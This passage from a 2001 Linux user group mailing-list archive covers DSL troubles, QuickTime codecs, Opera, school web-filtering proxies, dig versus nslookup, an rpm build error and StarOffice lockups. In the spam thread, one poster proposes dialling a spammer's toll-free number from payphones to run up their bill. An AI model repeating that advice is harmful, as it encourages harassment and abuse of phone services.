still in buisness? or did someone just buy their name? > > Carl Soderstrom > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From kblack at isd.net Tue Aug 14 10:03:45 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] (no subject) Message-ID: <3b793dd1.7738.0@isd.net> I have gotten the same story from Qwest for months, I have read that the tariff has something to do with exempting lines from having the load coils removed (ever), and forcing the telco to never offer DSL on the line in question... Ugh. Kelly KB0GBJ Message: 16 Subject: RE: [TCLUG] Off topic (DSL, Qwerst, Load Coils) Date: Tue, 14 Aug 2001 09:10:31 -0500 From: "Miller, John" To: Reply-To: tclug-list@mn-linux.org I know that when I tried to get DSL, I didn't qualify do to "line filters". Two weeks after I got broadband, I got a letter from Qwest stating that DSL was available in my area. It may take time for them to get to fixing the line. John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com From bexley at daily.umn.edu Tue Aug 14 10:14:10 2001 From: bexley at daily.umn.edu (Benjamin Exley) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Off topic (DSL, Qwerst, Load Coils) In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6278@MAIL4.corp.isib.net> Message-ID: <3B78F9F1.14088.13D361@localhost> Here's an even better Qworst story: I know that DSL is available in my area (a friend ONE block away has it). When we moved into my current apartment (a move of about a half mile) our line didn't qualify. We were told by a tech that if we were to switch phone numbers (we had taken the old one with us) to the prefix that was in that area that DSL would work. So, of course, we switched numbers. Qworst was even nice enough to give us the forwarding message for free. As soon as we got the new line all squared away we called back to get DSL, and.... SURPRISE! We didn't qualify. Aparently the insertion loss in my line was too high. I had to have Visi figure this out for me because everyone at Qworst seemd to think I was too far from a CO. In fact, I called people and told them that *I* knew what the problem was and that I wanted them to tell me what I already knew. No luck there. Anyway, I finally talked to someone who seemed to know what he was talking about until he started explaining why they couldn't fix my line. It went something like this: "Well we can't fix your line because that would be showing a preference to a particular ISP (Visi in this case) which we are prevented by law from doing." I went on to assure him that I thought that was complete BS, because they should damn well be willing to fix it for a customer regardles of which ISP is involved. Suffice it to say I got Road Runner. We were online with RR in 2 1/2 days from the time I placed the order. Talk about easy. The only problem is that all traffic goes through San Francisco or something random. Has anyone else had similar insertion loss problems that Qworst has fixed? I couldn't break through the wall of stupidity over there for like 4 days in a row. Ben ----------- Benjamin Exley President The Minnesota Daily bexley@mndaily.com (612)627-4070 x3030 From kbullock at ringworld.org Tue Aug 14 10:25:59 2001 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] gimp and gif In-Reply-To: Message-ID: On Mon, 13 Aug 2001, Brian wrote: > PNG will support both transparency and animation IIRC. Otherwise I > believe there's some 'nonfree' addon to the GIMP that adds full GIF > support. PNG "proper" will not do animation. There is a close cousin called MNG that does do animation. It became an official standard in January, so it's not very well-supported yet, although there is a reference library (http://www.libmng.com/), which is used by Mozilla apparently. Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From blayer at qwest.net Tue Aug 14 10:50:15 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Converting mov files In-Reply-To: <20010814091324.A3959@fandre.com> References: <20010814091324.A3959@fandre.com> Message-ID: <20010814105015.5e2746ca.blayer@qwest.net> On Tue, 14 Aug 2001 09:13:24 -0500 "Clay Fandre" wrote: > Anyone know of any utils that will convert a quicktime to mpeg or avi? My digital camera creates pretty cool movies but they are saved in mov. Any idea which CODEC that camera uses? .mov specifies that the file is Quicktime format, but Quicktime is actually just a wrapper, and any one of a number of CODECs could have been used to encode the content. The most popular Quicktime CODEC on the net (Sorenson) is closed-source and proprietary, and to date, Sorenson does not offer CODEC support for linux. If your camera uses a codec other than Sorenson, you might have some hope for now... There is a Quicktime4Linux project at http://heroinewarrior.com/quicktime.php3 which explains in more detail the issues involved. There is also a less-mature but more promising project at http://openquicktime.sourceforge.net/. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Tue Aug 14 11:06:56 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Opera 5.05-TP1 available (Java & more) Message-ID: <20010814110656.7a5a5249.blayer@qwest.net> Check out the new Opera 5.05 Technology Preview 1. They've added in support for Netscape plugins, including Acrobat Reader, Flash, Java etc. Also, some sites that were previously broken (www.pricewatch.com for example) now work. http://www.opera.com/pressreleases/20010814.html Download link is near the bottom of the page. Once you have Flash working (with sound) you can go to http://come.to/hatten and click on the pic of the guy in the hat with all the fingers pointing at him. Hatten ar din! -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From wilcoxon at bridge.com Tue Aug 14 11:09:58 2001 From: wilcoxon at bridge.com (Stephen R. Wilcoxon) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Telco that doesn't suck? In-Reply-To: Your message of "Sat, 11 Aug 2001 13:36:37 CDT." References: Message-ID: <200108141609.MAA20416@mnmailhost> On Sat 2001/08/11 13:36:37 CDT, Brian writes: > Verizon sucks. Qworst is a given. All cable service sucks because in > order for a cable modem to work you need the cable installers > (clueless) to install the cable hardware and a PC tech (usually doesn't > understand networking past what their sheet tells them) to make the end to > end connection. Took 2 months for my cable modem to work properly. Now > it's saturated with CR/CRII/CRIII hits and my service is degrading > slowly. I miss DSL :-( I have to disagree with the installation complaints you give. I had Northpoint DSL until they went under and the installer they sent was clueless (and I was somewhat pissed when I saw the finished install). I then got Time Warner RoadRunner Cable Modem service (no other choice for broadband although it looks like some of the new Qwest DSLAMs may give me a choice) and the installer they sent (sub-contractor) was superb -- I was expecting a crappy install (like when we got cable service), but this guy knew exactly what he was doing. In my case, there was no PC tech -- the guy installed the line and then had me test the connectivity (I signed off on not wanting their software bundle). The only two complaints I have with my cable modem are no fixed IP (unless I want to spend ~$100 more a month for "business" service which offers almost nothing except the static IP) and the current barrage of CR/CR2/CR3 hits. From natecars at real-time.com Tue Aug 14 11:27:53 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Telco that doesn't suck? In-Reply-To: <200108141609.MAA20416@mnmailhost> Message-ID: On Tue, 14 Aug 2001, Stephen R. Wilcoxon wrote: > I have to disagree with the installation complaints you give. I had > Northpoint DSL until they went under and the installer they sent was > clueless (and I was somewhat pissed when I saw the finished install). I > then got Time Warner RoadRunner Cable Modem service (no other choice for > broadband although it looks like some of the new Qwest DSLAMs may give me > a choice) and the installer they sent (sub-contractor) was superb -- I was > expecting a crappy install (like when we got cable service), but this guy > knew exactly what he was doing. In my case, there was no PC tech -- the > guy installed the line and then had me test the connectivity (I signed off > on not wanting their software bundle). Yeah, that's also exactly what the guy I talked to at RoadRunner told me -- he asked what OS I was running, I said 'Linux', he said "OK, no problem, but the tech won't be able to config your PC, can you be there to do that?" Later on in the conversation, he actually also said "Oh, and by the way, if you don't have a firewall yet, I'd highly recommend that you get one installed". I was actually impressed! Of course, we'll see what actually happens when the installer comes tommorrow. (I love it.. order Friday, install Wednesday.. we'll see if the install actually happens though; they are gonna have to dig cable..) And for $20/mo for the first 3 months.. heck, I might keep it around for a bit after I get my DSL just for the fun of it. :) > The only two complaints I have with my cable modem are no fixed IP (unless > I want to spend ~$100 more a month for "business" service which offers > almost nothing except the static IP) and the current barrage of CR/CR2/CR3 > hits. Advantage I see of Business is you can get higher upstream. 'course, I still like DSL better... *waits impatiently until Qwest gets the Remote DSLAM in my area so I can hook up through Real Time..* -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From andy at theasis.com Tue Aug 14 06:26:50 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Opera 5.05-TP1 available (Java & more) In-Reply-To: <20010814110656.7a5a5249.blayer@qwest.net> Message-ID: > Check out the new Opera 5.05 Technology Preview 1. They've added in > support for Netscape plugins, including Acrobat Reader, Flash, Java etc. Does the browser still push banner ads at you. Andy From cfandre at fandre.com Tue Aug 14 11:43:49 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Converting mov files In-Reply-To: <20010814105015.5e2746ca.blayer@qwest.net> References: <20010814091324.A3959@fandre.com> <20010814105015.5e2746ca.blayer@qwest.net> Message-ID: <20010814114349.B3959@fandre.com> Not sure. How can you tell? xanim, xmovie and broadcast2000 all play it without any problems. http://www.fandre.com/carter/media/carter_walking.mov Bill Layer [blayer@qwest.net] wrote: > On Tue, 14 Aug 2001 09:13:24 -0500 > "Clay Fandre" wrote: > > > Anyone know of any utils that will convert a quicktime to mpeg or avi? > My digital camera creates pretty cool movies but they are saved in mov. > > Any idea which CODEC that camera uses? > > .mov specifies that the file is Quicktime format, but Quicktime is > actually just a wrapper, and any one of a number of CODECs could have been > used to encode the content. The most popular Quicktime CODEC on the net > (Sorenson) is closed-source and proprietary, and to date, Sorenson does > not offer CODEC support for linux. If your camera uses a codec other than > Sorenson, you might have some hope for now... > > There is a Quicktime4Linux project at > http://heroinewarrior.com/quicktime.php3 which explains in more detail the > issues involved. There is also a less-mature but more promising project at > http://openquicktime.sourceforge.net/. > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From simeonuj at eetc.com Tue Aug 14 11:44:06 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Proxy configuration... Message-ID: <3B795549.B1133827@eetc.com> I am trying to configure a proxy for a school. Mostly for unaccaptable sites for children (pr0n etc). I've pretty much settled on Junkbuster. Maybe in conjunction w/ Squid. Not sure though. I know I am going to use Junkbuster at least for the ad blocking. Squid would be nice for cacheing and the prebuilt blocklists that I found... Anyone ever done this? Is there a sight with prebuilt blocklists (I got a few from squid but would also like some for Junkbuster. Maybe some generic ones as well)? Any help would be appreciated. sim From blayer at qwest.net Tue Aug 14 12:17:26 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Converting mov files In-Reply-To: <20010814114349.B3959@fandre.com> References: <20010814091324.A3959@fandre.com> <20010814105015.5e2746ca.blayer@qwest.net> <20010814114349.B3959@fandre.com> Message-ID: <20010814121726.23dd1043.blayer@qwest.net> On Tue, 14 Aug 2001 11:43:49 -0500 "Clay Fandre" wrote: > Not sure. How can you tell? xanim, xmovie and broadcast2000 all play it without any problems. > http://www.fandre.com/carter/media/carter_walking.mov Well, then it must not be using one of the proprietary codecs... You might consider getting the quicktime4linux libraries (unless you have them already) I believe there is a tool that comes with them, that will extract that info from the .mov file. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Tue Aug 14 12:20:18 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Opera 5.05-TP1 available (Java & more) In-Reply-To: References: <20010814110656.7a5a5249.blayer@qwest.net> Message-ID: <20010814122018.2877cee1.blayer@qwest.net> On Tue, 14 Aug 2001 06:26:50 -0500 (CDT) andy@theasis.com wrote: > > Check out the new Opera 5.05 Technology Preview 1. They've added in > > support for Netscape plugins, including Acrobat Reader, Flash, Java etc. > > Does the browser still push banner ads at you. (Spoken like a true Linux user...) Yes, that is why you have the option of purchasing it! Commercial software is not all evil, at least not in the case of Opera. I *do* have a registered version of Opera these days, but to be honest, it's well worth a little banner space to have such a fast, robust browser. A really fine, standard browser is one of the things that is still holding Linux back; I think that any proponent of Linux should joyfully embrace Opera, and what it might do to bring Linux more into the mainstream. IMHO, -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From simeonuj at eetc.com Tue Aug 14 12:34:54 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Proxy configuration... References: Message-ID: <3B79612A.4D2DD744@eetc.com> I just took a look at the old mac proxy. It uses WebDoubler 1.1. A very nice program. Parses the html for keywords (something I haven't seen on the other proxies) and will block the entire sight if a word is found. Web interface for configuration. Maybe I won't go to linux after all... I haven't found anything for linux that will compare to this program. The blocklist is there from the start too... I'm really starting to like this program. If there was something for linux that could do everything this program does I'd go with it but I haven't found one. sim From veldy at veldy.net Tue Aug 14 13:23:14 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Proxy configuration... References: <3B79612A.4D2DD744@eetc.com> Message-ID: <009801c124ee$2f802c30$3028680a@tgt.com> Did you ever check out squidGuard? http://www.squidguard.org Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Simeon Johnston" To: "TCLUG" Sent: Tuesday, August 14, 2001 12:34 PM Subject: Re: [TCLUG] Proxy configuration... > I just took a look at the old mac proxy. It uses WebDoubler 1.1. A > very nice program. > Parses the html for keywords (something I haven't seen on the other > proxies) and will block the entire sight if a word is found. Web > interface for configuration. > > Maybe I won't go to linux after all... > I haven't found anything for linux that will compare to this program. > The blocklist is there from the start too... > > I'm really starting to like this program. If there was something for > linux that could do everything this program does I'd go with it but I > haven't found one. > > sim > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Tue Aug 14 13:28:56 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Proxy configuration... In-Reply-To: <3B79612A.4D2DD744@eetc.com> Message-ID: For squid: squidguard and squidblock. I haven't worked with squidgaurd yet, but squidblock is just a blacklist acls. Squid Gaurd is a bit more advanced. Once nice thing I've found with Squid is transparent proxy/cache. Works really well with 2.4 kernels if your firewall/nat box is the same box as your cache server. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From zibby+tclug at ringworld.org Tue Aug 14 13:30:19 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Proxy configuration... In-Reply-To: <3B79612A.4D2DD744@eetc.com> Message-ID: Whoops, forgot URLs... http://www.squidguard.org/ http://www.hklc.com/squidblock Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From nate at techie.com Tue Aug 14 13:37:41 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Opera 5.05-TP1 available (Java & more) In-Reply-To: <20010814122018.2877cee1.blayer@qwest.net>; from blayer@qwest.net on Tue, Aug 14, 2001 at 12:20:18PM -0500 References: <20010814110656.7a5a5249.blayer@qwest.net> <20010814122018.2877cee1.blayer@qwest.net> Message-ID: <20010814133741.A25700@candle.mn.mediaone.net> On Tue, Aug 14, 2001 at 12:20:18PM -0500, Bill Layer wrote: > A really fine, standard browser is one of the things that is still > holding Linux back; I think that any proponent of Linux should > joyfully embrace Opera, and what it might do to bring Linux more into > the mainstream. I've heard a lot about Opera over the last few years, but I have yet to try it. Why should I when Galeon kicks so much ass? It does everything I want it to do without the excess baggage of mail, news and an editor. Nate From shane at shell.schulte.org Tue Aug 14 16:17:37 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] NSLOOKUP Message-ID: I know that this is kinda a while after-the-fact, but does anyone remember what the speakers where saying to use as an alternetive to `nslookup`? If you can remember, let me know! Thanks, ~Shane From rudie at sihope.com Tue Aug 14 16:16:34 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] NSLOOKUP In-Reply-To: References: Message-ID: <01081416163401.15488@localhost.localdomain> On Tuesday 14 August 2001 04:17 pm, you wrote: > I know that this is kinda a while after-the-fact, but does anyone remember > what the speakers where saying to use as an alternetive to `nslookup`? > If you can remember, let me know! > Thanks, > ~Shane dig -or- host -Kevin Hinze rudie@sihope.com From tanner at real-time.com Tue Aug 14 16:22:06 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] NSLOOKUP In-Reply-To: ; from shane@shell.schulte.org on Tue, Aug 14, 2001 at 04:17:37PM -0500 References: Message-ID: <20010814162206.C7150@real-time.com> Quoting Shane Kinney (shane@shell.schulte.org): > I know that this is kinda a while after-the-fact, but does anyone remember > what the speakers where saying to use as an alternetive to `nslookup`? > If you can remember, let me know! dig? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From shane at shell.schulte.org Tue Aug 14 16:23:47 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] NSLOOKUP In-Reply-To: <01081416163401.15488@localhost.localdomain> Message-ID: Ok..I thoght it might have been `dig`...thanks! On Tue, 14 Aug 2001, K Hinze wrote: > On Tuesday 14 August 2001 04:17 pm, you wrote: > > I know that this is kinda a while after-the-fact, but does anyone remember > > what the speakers where saying to use as an alternetive to `nslookup`? > > If you can remember, let me know! > > Thanks, > > ~Shane > > dig > -or- > host > > -Kevin Hinze > rudie@sihope.com > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From tshirtnews at postmastergeneral.com Wed Aug 15 06:12:32 2001 From: tshirtnews at postmastergeneral.com (tshirtnews@postmastergeneral.com) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! Message-ID: <200108142203.HAA12183@sxfz.com.cn> An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010815/b17396ba/attachment.html From tanner at real-time.com Tue Aug 14 17:12:21 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! In-Reply-To: <200108142203.HAA12183@sxfz.com.cn>; from tshirtnews@postmastergeneral.com on Wed, Aug 15, 2001 at 06:12:32AM +0000 References: <200108142203.HAA12183@sxfz.com.cn> Message-ID: <20010814171221.F26849@real-time.com> Quoting tshirtnews@postmastergeneral.com (tshirtnews@postmastergeneral.com): > > [bar.gif] > > **** We Create Massive Traffic For Your Web Site **** Damn, how that get through. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jethro at freakzilla.com Tue Aug 14 17:17:58 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! In-Reply-To: <20010814171221.F26849@real-time.com> Message-ID: Hey, On Tue, 14 Aug 2001, Bob Tanner wrote: > > **** We Create Massive Traffic For Your Web Site **** > Damn, how that get through. I don't know, but I got it to my personaly address too. They have an actual phone number on it. We can call them, find out the company name and sue them. Or can we? Anyone know? -Yaron -- From shane at shell.schulte.org Tue Aug 14 17:20:23 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! In-Reply-To: <20010814171221.F26849@real-time.com> Message-ID: No kidding....spam...*ugh* On Tue, 14 Aug 2001, Bob Tanner wrote: > Quoting tshirtnews@postmastergeneral.com (tshirtnews@postmastergeneral.com): > > > > [bar.gif] > > > > **** We Create Massive Traffic For Your Web Site **** > > Damn, how that get through. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Tue Aug 14 17:27:13 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! In-Reply-To: <20010814171221.F26849@real-time.com> Message-ID: On Tue, 14 Aug 2001, Bob Tanner wrote: > > > > [bar.gif] > > > > **** We Create Massive Traffic For Your Web Site **** > > Damn, how that get through. Going to the old address still: Received: from sxfz.com.cn ([202.100.36.28]) by sprite.real-time.com (8.11.4/8.11.4) with SMTP id f7EM9rQ15490 for ; Tue, 14 Aug 2001 17:09:56 -0500 can we just filter that? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From trammell at trammell.dyndns.org Tue Aug 14 12:25:38 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! In-Reply-To: ; from shane@shell.schulte.org on Tue, Aug 14, 2001 at 05:20:23PM -0500 References: <20010814171221.F26849@real-time.com> Message-ID: <20010814122538.A819@trammell.dyndns.org> On Tue, Aug 14, 2001 at 05:20:23PM -0500, Shane Kinney wrote: > No kidding....spam...*ugh* Geez, I can't believe it's taken me this long to put .cn in the Big Black Box. Right next to .tw. :-) -- [W]hen the manager knows his boss will accept status reports without panic or preeemption, he comes to give honest appraisals. - F. Brooks, _The Mythical Man-Month_ From tanner at real-time.com Tue Aug 14 17:35:39 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! In-Reply-To: ; from natecars@real-time.com on Tue, Aug 14, 2001 at 05:27:13PM -0500 References: <20010814171221.F26849@real-time.com> Message-ID: <20010814173539.M26849@real-time.com> Quoting Nate Carlson (natecars@real-time.com): > On Tue, 14 Aug 2001, Bob Tanner wrote: > > > > > > [bar.gif] > > > > > > **** We Create Massive Traffic For Your Web Site **** > > > > Damn, how that get through. > > Going to the old address still: > > Received: from sxfz.com.cn ([202.100.36.28]) > by sprite.real-time.com (8.11.4/8.11.4) with SMTP id f7EM9rQ15490 > for ; Tue, 14 Aug 2001 17:09:56 -0500 > > can we just filter that? :) > Already done. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From austad at marketwatch.com Tue Aug 14 18:08:59 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD8D@mspexch2.office.mktw.net> Damn, too bad it wasn't an 800/888/877 number w/ a voicemail or menuing system. One day of $0.10 minute calls would certainly run up their bill nicely. Everytime you walk by a payphone, just dial the number and set the receiver down. :) > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Tuesday, August 14, 2001 5:36 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Your website submission!! > > > Quoting Nate Carlson (natecars@real-time.com): > > On Tue, 14 Aug 2001, Bob Tanner wrote: > > > > > > > > [bar.gif] > > > > > > > > **** We Create Massive Traffic For Your Web Site **** > > > > > > Damn, how that get through. > > > > Going to the old address still: > > > > Received: from sxfz.com.cn ([202.100.36.28]) > > by sprite.real-time.com (8.11.4/8.11.4) with SMTP > id f7EM9rQ15490 > > for ; Tue, 14 Aug 2001 > > 17:09:56 -0500 > > > > can we just filter that? :) > > > > Already done. > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From foeclan at winternet.com Tue Aug 14 18:14:52 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] Your website submission!! References: Message-ID: <3B79B0EC.2070708@winternet.com> Or, since we should theoretically be using tclug-list@mn-linux.org by now, kill the old address entirely? It was the cause of some of the double-postings we had a while back. -- Michael Vieths Email: Foeclan@Winternet.com Web: http://www.geekbear.net Nate Carlson wrote: > On Tue, 14 Aug 2001, Bob Tanner wrote: > >>> [bar.gif] >>> >>> **** We Create Massive Traffic For Your Web Site **** >>> >>Damn, how that get through. >> > > Going to the old address still: > > Received: from sxfz.com.cn ([202.100.36.28]) > by sprite.real-time.com (8.11.4/8.11.4) with SMTP id f7EM9rQ15490 > for ; Tue, 14 Aug 2001 17:09:56 -0500 > > can we just filter that? :) > > From hick0088 at tc.umn.edu Tue Aug 14 19:16:51 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:14 2005 Subject: [TCLUG] rpm build problems in rh7.2beta In-Reply-To: <20010814094830.A25582@real-time.com> References: <20010814035029.A24232@real-time.com> <20010814084546.5cc2a44f.hick0088@tc.umn.edu> <20010814094830.A25582@real-time.com> Message-ID: <20010814191651.3fadf035.hick0088@tc.umn.edu> Carl Wilhelm Soderstrom wrote: > > > Try running a stack trace with `strace rpm ' and see where it > > gives the error. > > well, here's the last few things it spews: > > open("/etc/rpm/macros", O_RDONLY) = -1 ENOENT (No such file or > directory) > open("/etc/rpm/athlon-linux/macros", O_RDONLY) = -1 ENOENT (No such file > or directory) > open("/home/chrome/.rpmmacros", O_RDONLY) = -1 ENOENT (No such file or > directory) > execve("/usr/lib/rpm/rpmb", ["/usr/lib/rpm/rpmb", "-bb", > "SPECS/imwheel.spec"], [/* 36 vars */]) = -1 ENOENT (No such file or > directory) > open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) = -1 > ENOENT (No such file or directory) > open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT > (No such file or directory) > write(2, "SPECS/imwheel.spec: No such file"..., 46SPECS/imwheel.spec: No > such file or directory) = 46 > _exit(1) = ? > > so does this mean it's crapping out on some locale stuff? Hmm. Looks like you're in /usr/src/redhat (or similar) and trying to do `rpm -b SPECS/imwheel.spec' ? Have you tried going into the SPECS directory and running everything there? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I like your approach, now / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ let's see your departure. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Actually, looking at this a second time, do you have the /usr/lib/rpm/rpmb executable? > execve("/usr/lib/rpm/rpmb", ["/usr/lib/rpm/rpmb", "-bb", > "SPECS/imwheel.spec"], [/* 36 vars */]) = -1 ENOENT (No such file or > directory) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Do Roman paramedics refer / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ to IV's as "4's"? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Second guess, if you have some Java runtime environments and installed StarOffice using the wrong JRE version, it will lock hard. I have not found a solution to installing StarOffice for linux with Java enabled. StarOffice prefers the older JRE 1.1.8. Sun warns that JRE 1.2 will itself lock Red Hat 7.0 hard. www.blackdown.com has some encouraging Java downloads for linux, but I don't have the days for downloads. A lot of catch 22s. If you figure it out, please let me know. My best conclusion is to get SuSE 7.0. I really like SuSE 6.4 but Kylix doesn't. If you have never tried SuSE you might like it. YAST (the SuSE config tool) is much more complete than two or three of Red Hat's tools. The file structure is much cleaner so you know what you've got and where it goes. Also, my older PC is happier with an older kernel. Otherwise, I've never had problems with (java disabled) StarOffice on regular Red Hat 7.0. RE >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/14/01, 5:30:51 AM, Bob Tanner wrote regarding [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard.sdm: > Installing Star Office on 2.4.6, 2.4.7 and 2.4.8 locks the box hard under RedHat > 7.0. > Anyone else seen this before or a solution to the problem? > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Tue Aug 14 21:09:41 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:15 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010814053051.A18164@real-time.com> References: <20010814053051.A18164@real-time.com> Message-ID: <20010814210941.592b5ff8.hick0088@tc.umn.edu> Bob Tanner wrote: > > Installing Star Office on 2.4.6, 2.4.7 and 2.4.8 locks the box hard > under RedHat 7.0. Are you running out of swap? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ HUP / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ 